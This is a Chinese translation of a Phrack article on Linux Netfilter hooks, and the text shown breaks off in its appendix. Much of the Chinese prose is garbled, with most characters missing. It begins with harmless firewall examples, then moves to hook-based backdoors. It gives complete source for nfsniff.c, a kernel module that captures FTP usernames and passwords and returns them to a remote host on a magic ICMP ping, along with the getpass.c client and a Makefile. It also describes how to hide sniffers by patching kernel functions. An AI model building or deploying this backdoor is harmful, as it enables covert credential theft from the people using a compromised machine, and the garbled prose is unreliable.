Linux 네트워크 핵심 스 택 깊이 들 어가 기
                 0x0b,     0x3d, Phile #0x0d of 0x0f
|=---------------------=[   Linux       ]=-----------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ bioforge <[email protected]> ]=--------------------=|
|=------------------------=[    : raodan ]=----------------------------=|
  
1 -   
  1.1 -        
  1.2 -         
2 -   Netfilter hook    
  2.1 - Linux         
  2.2 - Netfilter IPv4 hook
3 -      Netfilter hook
4 - Netfilter           [1]
  4.1 -   hook  
  4.2 -         
  4.3 -         
  4.4 -   TCP      
5 - Netfilter hook       
  5.1 -          
  5.2 -      FTP     
    5.2.1 -     : nfsniff.c
    5.2.2 -     : getpass.c
6 -  Libpcap       
  6.1 - SOCK_PACKET、SOCK_RAW Libpcap
  6.2 -       
7 -    
A -       
  A.1 -   
  A.2 -     : lwfw.c
  A.3 -     : lwfw.h
B -  6      
--[ 1 -   
           ,Linux            (       )                    。                   Netfilter hook       ,                     Libpcap            。
    Netfilter Linux 2.4        ,Netfiler         、      (NAT)               ,                       hook     。  hook       ,        ,                。                   ,              。
----[ 1.1 -        
    
                 Netfilter hook                    Libpcap        。  Linux 2.4   IPv4、IPv6  DECnet hook,           IPv4   ,    ,     IPv4                 。       ,  A        、             。                Intel    Linux 2.4.5   。 Netfilter hook          、                    。
    
            Netfilter             。               100%     ,                  。             ,             。  ,                             。        C                    。
    
                     ,                        Netfilter        。
    
    
---- [ 1.2 -         
               Netfilter         ,  ,       iptables        。           iptables   ,         。
    
      ,    Netfilter        ...
    
--[ 2 -   Netfilter hook    
----[ 2.1 - Linux         
    
                   Linux                    Netfilter hook          ,      !     ,Harald Welte                  ——《Journey  of a Packet Through the Linux 2.4 Network Stack》。           Linux        ,             。  ,     :      Linux        ,      hook ,   ,                   ,  hook   Netfilter hook。
    
----[ 2.2 - Netfilter IPv4 hook
    Netfilter        IPv4 hook,           linux/netfilter_ipv4.h   。  hook       :
    
 1 :    IPv4 hook
    Hook                     
NF_IP_PRE_ROUTING            ,      
NF_IP_LOCAL_IN               ,            
NF_IP_FORWARD                    
NF_IP_LOCAL_OUT                              
NF_IP_POST_ROUTING              “  ”  
    NF_IP_PRE_ROUTING  hook                hook,  hook               。  ,   hook      ,     ,       NF_IP_PRE_ROUTING  hook 。
     hook                   ,            Netfilter       :
    
 2 : Netfilter   
                         
NF_DROP                      
NF_ACCEPT                  
NF_STOLEN                  
NF_QUEUE                        
NF_REPEAT                 hook  
    NF_DROP                    ,               。NF_ACCEPT       Netfilter:     ,                                。NF_STOLEN         ,     Netfilter,“  ”     。    Netfilter  : hook              ,  Netfilter               。  ,                  。           sk_buff        ,  hook   Netfilter           。    ,         NF_QUEUE        ,          。       NF_REPEAT  Netfilter      hook  。  ,         NF_REPEAT     ,       。
    
--[3 -      Netfilter hook
        hook     nf_hook_ops              ,nf_hook_ops     linux/netfilter.h   ,          :
          struct nf_hook_ops {
                  struct list_head list;
                  /*           */
                  nf_hookfn *hook;
                  int pf;
                  int hooknum;
                  /* Hook          */
                  int priority;
          };
           list      Netfilter hook   ,         hook        。hook       nf_hookfn        ,      hook         。nf_hookfn   linux/netfilter.h   。pf           。       linux/socket.h   ,   IPv4         PF_INET。hooknum                     hook  ,    1       。  ,priority               ,  hook            。  IPv4,     linux/netfilter_ipv4.h nf_ip_hook_priorities     。       ,            NF_IP_PRI_FIRST。
    
        Netfilter hook    nf_register_hook()  ,      nf_hook_ops    。nf_register_hook()     nf_hook_ops                     。  ,         net/core/netfilter.c  nf_register_hook()       ,           0。            ,                          。        Netfilter         。
        1 : Netfilter hook   
/* 
*                Netfilter hook        
*/
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/*                */
static struct nf_hook_ops nfho;
/*    hook      */
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    return NF_DROP;           /*          */
}
/*       */
int init_module()
{
    /*      hook     */
    nfho.hook = hook_func;         /*      */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /*   IPv4    hook */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /*            */
    nf_register_hook(&nfho);
    return 0;
}
/*      */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}
           ,     1 ,     ,    Netfilter hook        ,     nf_unregister_hook()  ,            hook                  。
    
-- [4 - Netfilter           
---- [4.1 -   hook  
                   hook                       。  ,         nf_hookfn      。       linux/netfilter.h   ,  :
          typedef unsigned int nf_hookfn(unsigned int hooknum,
                                         struct sk_buff **skb,
                                         const struct net_device *in,
                                         const struct net_device *out,
                                         int (*okfn)(struct sk_buff *));
    nf_hookfn             1    hook      。         ,           ,            sk_buff    ,     sk_buff          。       linux/skbuff.h   ,        ,                。
    sk_buff                         (  :UDP, TCP, ICMP, SPX)、     (  :IPv4/6, IPX, RAW)       (  :     RAW)   (union) 。           h、nh  mac。           ,               。       :                         。  TCP          ,  h nh         IP      。        h->th     ,          TCP ,         。  h->th       IP , nh->iph       。
                   len data    。len    data              。  ,         sk_buff                     。Netfilter hook                     ?
       skb          net_device       ,net_device     Linux               。          ——in,            ,    ,  out            。    ,      ,              。  :  in   NF_IP_PRE_ROUTING NF_IP_LOCAL_IN hook,  out   NF_IP_LOCAL_OUT NF_IP_POST_ROUTING hook。       ,        NF_IP_FORWARD hook,            ,                      ,         !
      ,   hook               okfn    ,      sk_buff            ,          。                , net/core/netfilter.c   ,          okfn  。           nf_hook_slow()     nf_reinject() ,        , Netfilter hook     NF_ACCEPT    。           okfn     ,     。
    
    **   :Linux               : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],          ,            ,       hook   ( 1      )。    Netfilter hook          hook                。
     
           net/core/netfilter,nf_register_hook()     :
int nf_register_hook(struct nf_hook_ops *reg)
{
    struct list_head *i;
    br_write_lock_bh(BR_NETPROTO_LOCK);
    for (i = nf_hooks[reg->pf][reg->hooknum].next; 
         i != &nf_hooks[reg->pf][reg->hooknum]; 
         i = i->next) {
        if (reg->priority < ((struct nf_hook_ops *)i)->priority)
            break;
    }
    list_add(®->list, i->prev);
    br_write_unlock_bh(BR_NETPROTO_LOCK);
    return 0;
}
    Netfilter       NF_HOOK,        nf_hook_slow()       NF_HOOK        , NF_HOOK      hook  。NF_HOOK Linux                    。  , ip_rcv()  (  net/ipv4/ip_input.c)     ,  NF_HOOK  ,  NF_IP_PRE_ROUTING   hook。ip_rcv() Linux           IPv4        。 NF_HOOK    ,     okfn    ,                    ,   ip_rcv    NF_HOOK  okfn      ip_rcv_finish()  (  net/ipv4/ip_input.c),     IP          IP         。
    
                CONFIG_NETFILTER   ,NF_HOOK         okfn,            (linux/netfilter.h):
#ifdef CONFIG_NETFILTER
...
#ifdef CONFIG_NETFILTER_DEBUG
#define NF_HOOK nf_hook_slow
#else
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn)            /
(list_empty(&nf_hooks[(pf)][(hook)])                    /
? (okfn)(skb)                                /
: nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn)))
#endif
...
#else /* !CONFIG_NETFILTER */
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb)
#endif /*CONFIG_NETFILTER*/
    
      okfn        , Netfilter    ,                 ,     Netfilter      ,           ,            。
    
    **    
    
      ,          hook                   ,                                 !
    
    
----[4.2 -         
                      。      hook           net_device     ?     net_device     name    ,                          。           eth0    ,           in->name   "eth0"   ,      ,  hook       NF_DROP  ,         。      !                  2。  ,Light-Weight FireWall                       。       IOCTL                  。
    
        2 :            
/*
*                      Netfilter hook       
*/
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/*                */
static struct nf_hook_ops nfho;
/*                  */
static char *drop_if = "lo";
/*    hook      */
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    if (strcmp(in->name, drop_if) == 0) {
        printk("Dropped packet on %s.../n", drop_if);
        return NF_DROP;
    } else {
        return NF_ACCEPT;
    }
}
/*       */
int init_module()
{
    /*      hook     */
    nfho.hook     = hook_func;         /*      */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /*   IPv4    hook */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /*            */
    nf_register_hook(&nfho);
    
    return 0;
}
    
/*      */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}
          ?   ,       IP     。
    
----[ 4.3 -         
                   ,          IP          。         sk_buff    。   skb       sk_buff           ?       ,         skb_buff          skb                      ,    :
    
      struct sk_buff *sb = *skb;    /* Remove 1 level of indirection* /
      ,                         。        IP     sk_buff              。          ,    sk_buff->nh.iph        。    3                sk_buff     ,                IP             。        LWFW     ,      LWFW        。
    
        3 :           IP
    
      unsigned char *deny_ip = "/x7f/x00/x00/x01";  /* 127.0.0.1 */
      
      ...
          static int check_ip_packet(struct sk_buff *skb)
          {
              /* We don't want any NULL pointers in the chain to
               * the IP header. */
              if (!skb )return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;
          
              if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) { 
              return NF_DROP;
              }
              return NF_ACCEPT;
          }
    
      ,                         ,          。                ,deny_ip          (Big-endian, Intel  )  。                        ,                。  ,         ,         NF_ACCEPT。  Netfilter           。    4                          IP           。
    
        4 :            
/*           IP       Netfilter hook      */
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/ip.h>                  /* For IP header */
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/*                */
static struct nf_hook_ops nfho;
/*               ,      */
static unsigned char *drop_ip = "/x7f/x00/x00/x01";
/*    hook      */
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    struct sk_buff *sb = *skb;
    
    //   :                       ,       
    if (sb->nh.iph->saddr == *(unsigned int *)drop_ip) {
    // if (sb->nh.iph->saddr == drop_ip) {
        printk("Dropped packet from... %d.%d.%d.%d/n",
      *drop_ip, *(drop_ip + 1),
  *(drop_ip + 2), *(drop_ip + 3));
        return NF_DROP;
    } else {
        return NF_ACCEPT;
    }
}
/*       */
int init_module()
{
    /*      hook     */
    nfho.hook       = hook_func;         /*      */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /*   IPv4    hook */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /*            */
    nf_register_hook(&nfho);
    return 0;
}
/*      */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}
----[ 4.4 -   TCP      
                      TCP        。     IP          ,            TCP    。                           ?    TCP            ——    tcphdr    ( linux/tcp.h   )   ,            IP      。              ,    5         TCP                         。     3  ,      LWFW。
    
        5 :          TCP    
          unsigned char *deny_port = "/x00/x19";   /* port 25 */
      ...
          static int check_tcp_packet(struct sk_buff *skb)
          {
              struct tcphdr *thead;
              /* We don't want any NULL pointers in the chain
               * to the IP header. */
              if (!skb ) return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;
              /* Be sure this is a TCP packet first */
              if (skb->nh.iph->protocol != IPPROTO_TCP) {
                  return NF_ACCEPT;
              }
              thead = (struct tcphdr *)(skb->data +
                                       (skb->nh.iph->ihl * 4));
              /* Now check the destination port */
              if ((thead->dest) == *(unsigned short *)deny_port) {
                  return NF_DROP;
              }
          
          return NF_ACCEPT;
          }
         !    ,        ,deny_port        。            ,                     ,          。  ,              !
    
--[ 5 - Netfilter hook       
       ,           Netfilter hook   ,5.1           , 5.2                 FTP        ,                。   ,          ,       。
    
----[ 5.1 -          
             Linux            ,                              。        ,       、  ,          ,   rootkit      。  ,          (  ,           ),       、            。           !
    
                   ,        。      (           )             。  ,             ,            ?  ,                  ,         ps         。  ,                     。  ,                           。    ,  Netfilter hook!
    
                                  ,               ,        ,            。     Netfilter hook                 “  ”   ,        “  ”          。      Netfilter hook   。   hook      NF_STOLEN,      “  ”         。     ,          ,         Netfilter hook      。             “  ”        ,              。  !                                             。
    
    kossak lifeline  Phrack         ,                           。        Netfilter hook,              ( 55 ,  12),                       。
    
      ,  Netfilter hook         ?       :
    --          (key-logger)。      ,           PING   ,        。  ,            (    )PING          。  ,              ,  ,ASCII           ,              :“  ,         SSH        !Oh $%@T%&!”。
    --           ,                               。
    --          ,           ,                、ICMP       KaZaa            。
    --     “   ”。            ,     Linux           :)
    --      。                      IP     ,                。       ,      ,          。
    --                              。  :      。
    -- FTP/POP3/Telnet     。              ,     “  ”         。
    
                  ,                            。 
                             。
----[ 5.2 -      FTP     
                ,    ,  Netfilter     。        FTP   ,      FTP     USER PASS   。            ,           “  ”ICMP ECHO(ping)   ,         ,         IP  、       。              “  ”   ,               。     /         ,          。  ,          。        ,         ,              。
    
          ,   init_module()          Netfilter hook。             ( NF_IP_PRE_ROUTING ),    “  ”ICMP   。                         ( NF_IP_POST_ROUTING ),           FTP USER PASS      。cleanup_module()            hook。
    
    watch_out()   hook NF_IP_POST_ROUTING   ,           ,           。              ,       ,       FTP   。       FTP   ,      NF_ACCEPT。      FTP   ,                    /   。    ( have_pair      ),    NF_ACCEPT,             。  ,check_ftp()     ,             。               ,  target_ip target_port       。
    
    check_ftp()            "USER","PASS" "QUIT"。    USER         PASS  。                 PASS    USER         USER                 。  ,  QUIT             ,       ,          。   USER  PASS     ,           ,         。     , check_ftp()      ,                    。   ,   have_pair              /                      。
    
                                           。           “  ”           。       ,                   。        ,    16     :)。              ,watch_in()                 “  ”   。                 “  ”      ,      watch_in()  ,       NF_ACCEPT。  “  ”                      IP           。           。  ,          sk_buff,                      ,              !  ,                     ,                 。          ,       。  ,  IP  ,  sk_buff              (pkt_type)     PACKET_OUTGOING,    linux/if_packet.h   。                     。          sk_buff                ,                       。           (           raw)   ,        mac.ethernet  mac.raw  。                       sb->dev->type  ,  sb     sk_buff       。          linux/if_arp.h   ,              3   。
    
 3 :         
                
ARPHRD_ETHER       
ARPHRD_LOOPBACK        
ARPHRD_PPP           (    )
     ,                        。          ,dev_queue_xmit()       sk_buff               , “    ”   ,          。    “    ”      ?      dev_queue_xmit()            ,                      dump   “      ”。               ?  ,watch_in()  NF_STOLEN,   Netfilter             。        dev_queue_xmit(),    NF_DROP!    dev_queue_xmit()             , Netfilter     NF_DROP          。  。            ,       。
   
   
------[ 5.2.1 -     : nfsniff.c
<++> nfsniff/nfsniff.c
/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */
/* Written by bioforge,  March 2003 */
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36
#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) /
                   - sizeof(struct iphdr) /
                   - sizeof(struct icmphdr))
/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;     /* Marks if we already have a pair */
/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;
/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;           /* Incoming */
struct nf_hook_ops  post_hook;           /* Outgoing */
/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
   struct tcphdr *tcp;
   char *data;
   int len = 0;
   int i = 0;
   
   tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   data = (char *)((int)tcp + (int)(tcp->doff * 4));
   /* Now, if we have a username already, then we have a target_ip.
    * Make sure that this packet is destined for the same host. */
   if (username)
     if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
       return;
   
   /* Now try to see if this is a USER or PASS packet */
   if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      data += 5;
      
      if (username)  return;
      
      while (*(data + i) != '/r' && *(data + i) != '/n'
         && *(data + i) != '/0' && i < 15) {
     len++;
     i++;
      }
      
      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
    return;
      memset(username, 0x00, len + 2);
      memcpy(username, data, len);
      *(username + len) = '/0';           /* NULL terminate */
   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;
      /* If a username hasn't been logged yet then don't try logging
       * a password */
      if (username == NULL) return;
      if (password)  return;
      
      while (*(data + i) != '/r' && *(data + i) != '/n'
         && *(data + i) != '/0' && i < 15) {
     len++;
     i++;
      }
      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
    return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);
      *(password + len) = '/0';           /* NULL terminate */
   } else if (strncmp(data, "QUIT", 4) == 0) {
      /* Quit command received. If we have a username but no password,
       * clear the username and reset everything */
      if (have_pair)  return;
      if (username && !password) {
     kfree(username);
     username = NULL;
     target_port = target_ip = 0;
     have_pair = 0;
     
     return;
      }
   } else {
      return;
   }
   if (!target_ip)
     target_ip = skb->nh.iph->daddr;
   if (!target_port)
     target_port = tcp->source;
   if (username && password)
     have_pair++;               /* Have a pair. Ignore others until
                    * this pair has been read. */
//   if (have_pair)
//     printk("Have password pair!  U: %s   P: %s/n", username, password);
}
/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
                  struct sk_buff **skb,
                  const struct net_device *in,
                  const struct net_device *out,
                  int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct tcphdr *tcp;
   
   /* Make sure this is a TCP packet first */
   if (sb->nh.iph->protocol != IPPROTO_TCP)
     return NF_ACCEPT;               /* Nope, not TCP */
   
   tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
   
   /* Now check to see if it's an FTP packet */
   if (tcp->dest != htons(21))
     return NF_ACCEPT;               /* Nope, not FTP */
   
   /* Parse the FTP packet for relevant information if we don't already
    * have a username and password pair. */
   if (!have_pair)
     check_ftp(sb);
   
   /* We are finished with the packet, let it go on its way */
   return NF_ACCEPT;
}
/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(unsigned int hooknum,
                 struct sk_buff **skb,
                 const struct net_device *in,
                 const struct net_device *out,
                 int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct icmphdr *icmp;
   char *cp_data;               /* Where we copy data to in reply */
   unsigned int   taddr;           /* Temporary IP holder */
   /* Do we even have a username/password pair to report yet? */
   if (!have_pair)
     return NF_ACCEPT;
     
   /* Is this an ICMP packet? */
   if (sb->nh.iph->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;
   
   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);
   /* Is it the MAGIC packet? */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }
   
   /* Okay, matches our checks for "Magicness", now we fiddle with
    * the sk_buff to insert the IP address, and username/password pair,
    * swap IP source and destination addresses and ethernet addresses
    * if necessary and then transmit the packet from here and tell
    * Netfilter we stole it. Phew... */
   taddr = sb->nh.iph->saddr;
   sb->nh.iph->saddr = sb->nh.iph->daddr;
   sb->nh.iph->daddr = taddr;
   sb->pkt_type = PACKET_OUTGOING;
   switch (sb->dev->type) {
    case ARPHRD_PPP:               /* No fiddling needs doing */
      break;
    case ARPHRD_LOOPBACK:
    case ARPHRD_ETHER:
    {
       unsigned char t_hwaddr[ETH_ALEN];
       
       /* Move the data pointer to point to the link layer header */
       sb->data = (unsigned char *)sb->mac.ethernet;
       sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
       memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
       memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
          ETH_ALEN);
       memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
  
       break;
    }
   };
   /* Now copy the IP address, then Username, then password into packet */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);
   if (username)
     memcpy(cp_data + 4, username, 16);
   if (password)
     memcpy(cp_data + 20, password, 16);
   
   /* This is where things will die if they are going to.
    * Fingers crossed... */
   dev_queue_xmit(sb);
   /* Now free the saved username and password and reset have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
   
   target_port = target_ip = 0;
//   printk("Password retrieved/n");
   
   return NF_STOLEN;
}
int init_module()
{
   pre_hook.hook     = watch_in;
   pre_hook.pf       = PF_INET;
   pre_hook.priority = NF_IP_PRI_FIRST;
   pre_hook.hooknum  = NF_IP_PRE_ROUTING;
   
   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_IP_POST_ROUTING;
   
   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);
   
   return 0;
}
void cleanup_module()
{
   nf_unregister_hook(&post_hook);
   nf_unregister_hook(&pre_hook);
   
   if (password)
     kfree(password);
   if (username)
     kfree(username);
}
<-->
------[ 5.2.2 -     : getpass.c
<++> nfsniff/getpass.c
/* getpass.c - simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge  -  March 2003 */
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#ifndef __USE_BSD
# define __USE_BSD               /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);
int main(int argc, char *argv[])
{
    unsigned char dgram[256];           /* Plenty for a PING datagram */
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &one;
    
    if (argc < 3) {
    fprintf(stderr, "Usage:  %s remoteIP myIP/n", argv[0]);
    exit(1);
    }
    /* Get a socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
    fprintf(stderr, "Couldn't open raw socket! %s/n",
        strerror(errno));
    exit(1);
    }
    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
          ptr_one, sizeof(one)) < 0) {
    close(icmp_sock);
    fprintf(stderr, "Couldn't set HDRINCL option! %s/n",
            strerror(errno));
    exit(1);
    }
    
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);
    
    my_addr.s_addr = inet_addr(argv[2]);
    
    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);
    
    /* Fill in the IP fields first */
    iphead->ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;
    
    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
    
    /* Finally, send the packet */
    fprintf(stdout, "Sending request.../n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
           sizeof(struct sockaddr)) < 0) {
    fprintf(stderr, "/nFailed sending request! %s/n",
        strerror(errno));
    return 0;
    }
    fprintf(stdout, "Waiting for reply.../n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
         &src_addr_size) < 0) {
    fprintf(stdout, "Failed getting reply packet! %s/n",
        strerror(errno));
    close(icmp_sock);
    exit(1);
    }
    
    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),
           sizeof (struct in_addr));
    
    fprintf(stdout, "Stolen for ftp server %s:/n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s/n",
         (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s/n",
         (char *)((char *)icmphead + 28));
    
    close(icmp_sock);
    
    return 0;
}
/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;
   
   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */
   
   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);
   
   return ~sum;
}
<-->
    **   :       Makefile:
<++> nfsniff/Makefile
#Makefile                                              
#                                                      
                                                       
CFLAGS=-Wall                                           
LIBS=-L/usr/lib -lc
# Change include directory for your kernel                                   
MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include 
MODULE_CFLAGS+=$(CFLAGS)                               
EXECUTE_CFLAGS=-ggdb                                   
EXECUTE_CFLAGS+=$(CFLAGS)                              
                                                       
all : nfsniff.o getpass                                
nfsniff.o : nfsniff.c                                  
        gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS)
        ld -r -o nfsniff.o nfsniff~.o $(LIBS)          
getpass.o : getpass.c                                  
        gcc -c getpass.c $(EXECUTE_CFLAGS)             
getpass : getpass.o                                    
        gcc -o getpass getpass.o $(EXECUTE_CFLAGS)     
clean :                                                
        rm -f *.o getpass                              
<-->
    **   
    
--[ 6 -  Libpcap       
            ,     Linux   ,                                 。                 ,                  IP         。  ,     ...
    
----[ 6.1 - SOCK_PACKET、SOCK_RAW Libpcap
            ,                    “      ”    。               tcpdump(1)  ethereal(1)。         Libpcap (      [1]  tcpdump  )        。        (NIDS)    Libpcap 。SNORT  Libpcap,Libnids——    IP   TCP    NIDS   (      [2]),    。
    
     Linux   ,Libpcap   SOCK_PACKET  。Packet            ,                   。  Paket        ,                           ,            packet(7)   。        ,     packet    Libpcap                        。
    
                     ,           packet          。   ,                   。    ,          ,  TCP、UDP          。  SOCK_RAW          。         packet   ,                。                    SYNalert  ,      [3](              :)。
    
      ,        Linux            Libpcap 。Libpcap Linux   packet                     。          ,                 IP        。          Linux           packet               。
    
    
------[ 6.2       
                 packet    ,packet_rcv()     。       net/packet/af_packet.c   ,packet_rcv()                         ,            。      packet       ,               packet_rcv()  。         ?      ol       。
    
              :            ,             ,     ,                            。         ,             ,          ,                         。   i386           :
    
    movl  (address of our function),  %eax
    jmp   *eax
         16      (          0):
    
    0xb8 0x00 0x00 0x00 0x00
    0xff 0xe0
         Linux                        hook     ,         hook     。            ,                  ,                。     。Silvio Cesare          ,            ,      [4]。
    
      packet        ,        hook  ,                  。    ,     hook              0,packet_rcv()       。  packet_rcv()      ,                     packet   。  ,    "packet"     ,        。         packet    FTP   ,  FTP    TCP             。                              。FTP              。
    
            ,              。        hook  raw_rcv()  ( net/ipv4/raw.c     )。           Linux         ,     packet_rcv()   raw_rcv()  ,              IP      。
    
--[ 7 -    
            Netfilter         ,               。                                    。               tar ,      email。             、      。  ,             ,                !
    
--[ A -       
----[ A.1 -   
          (LWFW)          ,        4               。LWFW   ioctl()             。
    
      LWFW             ,                 。 LWFW      ,                 。   LWFW ioctl()        ,   /dev           。          ,"in use"        NF_IP_PRE_ROUTE  hook      。           。
    
    LWFW               。           :
    --    
    --  IP  
    --   TCP  
    
            ioctl()    。         ,LWFW             。              ,  hook     NF_DROP,  Netfilter             。  ,hook    NF_ACCEPT,          。
    
      ,        LWFW     。           hook  ,LWFW             。                           。  ,         ,              0。lwfwstats    LWFW_GET_STATS  IOCTL                    。
    
----[ A.2 -     : lwfw.c
<++> lwfw/lwfw.c
/* Light-weight Fire Wall. Simple firewall utility based on
* Netfilter for 2.4. Designed for educational purposes.
* 
* Written by bioforge  -  March 2003.
*/
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/net.h>
#include <linux/types.h>
#include <linux/skbuff.h>
#include <linux/string.h>
#include <linux/malloc.h>
#include <linux/netdevice.h>
